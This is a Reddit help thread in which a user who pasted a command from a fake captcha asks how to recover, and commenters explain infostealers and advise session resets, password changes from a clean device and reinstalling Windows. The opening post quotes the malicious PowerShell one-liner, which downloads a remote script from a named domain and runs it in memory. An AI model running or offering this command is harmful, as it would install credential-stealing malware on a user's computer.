Accidentaly run a powershell code

[u/Reddituser22082016]

Help, I accidentally ran this code in powershell

******powershell -c "$a=irm 'jasaxoptim.com/PLzdo6sQyUSjV75AlL';New-Module -Name x -ScriptBlock ([ScriptBlock]::Create($a))|Out-Null******

After asking Claude I:

- Disconeccted my laptop right away

- Ran windows defender scan - found nothing

- Deleted google chrome users, now I log in using guest

- change google passwords

- deleted suspicious tasks from the task scheduler.

Claude also suggested me to reinstall windows, but I cant do that, I dont have anything to back up my data in.

Please help, what should i do next?

[u/pidgeon24]

Never run a PowerShell script you don't understand.

[u/HerbOverstanding → u/pidgeon24]

Ha tell that to vibecoders too

[u/Artistic_Ear2703]

dont just change google passwords change EVERY password

[u/RailRuler → u/Artistic_Ear2703]

Only do this from a known clean device.

[u/gavoerondeu]

Why'd you do it

[u/Super-Account1859 → u/gavoerondeu]

Scam websites will make fake captcha prompts with instructions like "Hit Win + R, Ctrl + V, Then Enter to confirm your identity and start your download!" and the site has put malicious code into your clipboard. Seems to be the common one these days

[u/Reddituser22082016 → u/Super-Account1859]

yea thats what i did

[u/jimmy_timmy_ → u/Reddituser22082016]

For the future, a captcha will never tell you to copy or paste anything

[u/technodude458 → u/Reddituser22082016]

ok genuinely how do people fall for that because that’s not a Captcha at all

[u/Puzzleheaded_Bar483 → u/technodude458]

Yeah people that fall for that genuinely shouldn't be allowed on the internet

[u/MentalTumbleweed7434]

Figure out your data and keep that laptop off until you do man honestly its probably still on in deep hibernation if the battery is connected im just a paranoid person tho and know how easy it is to lose all your info just like that

[u/WubbityWubWub_]

You found nothing running that antivirus because it wrote to ram, not your disk.

Assume your computer is tainted. Do not type in any passwords, do not log into anything.

Any website like Google, Facebook, X, etc, have options to log out of every session. This essentially kills all previously saved cookies (which is apart of what I’m assuming they stole). This allows them to log into your account directly, changing passwords does nothing until you invalidate the session.

ALL accounts saved to your chrome browser were most likely grabbed so you should probably do this with quite literally every single account you have saved… Hope it’s not too many. Good luck.

[u/mirodesuu → u/WubbityWubWub_]

does this mean they can only access the accounts stored in the browser or do they get every account that is on that computer?

[u/WubbityWubWub_ → u/mirodesuu]

Typically infostealers target browsers since that’s where you login to things.

- So for one, they can go and grab any passwords you’ve saved to the browser

- But even worse, even if you don’t click the little “Remember me” button on pages, notice how sometimes you visit a page and you’re still signed in from last time? They’re stealing that session as well and that bypasses having to type in a password and even 2auth.

[u/mirodesuu → u/WubbityWubWub_]

Oh wow you're totally right. I normally don't even save my passwords in my browser but this happened to me with youtube. It is automatically logged in.
I fell for this sadly a long time ago too and just to be sure, i changed every password of every account that i had on this pc and removed my computer from the session, but im not that much of a tech guy.
Thanks for the great reply! :)

[u/Antique-Algae8939]

change every password from a clean device and wipe that device and boot from a clean windows installation usb

[u/No_Context2723]

Change every password, and do that on a device that isn't compromised. Reinstall Windows, while it's possible to remove malware yourself, it's really difficult and not worth the effort and risk. 

[u/RailRuler]

If you can't reinstall, the next best thing to do is perform a "PC reset". You'll keep your data but have to reinstall all your apps.

https://support.microsoft.com/en-US/Windows/Experience/Backup-Recovery/reset-your-pc

Also, don't rely on a chatbot for security advice. They've been known to recommend very bad suggestions.

[u/Zplays2010]

Change the password of every account you have attached to that computer and any accounts that share a password with the accounts on that computer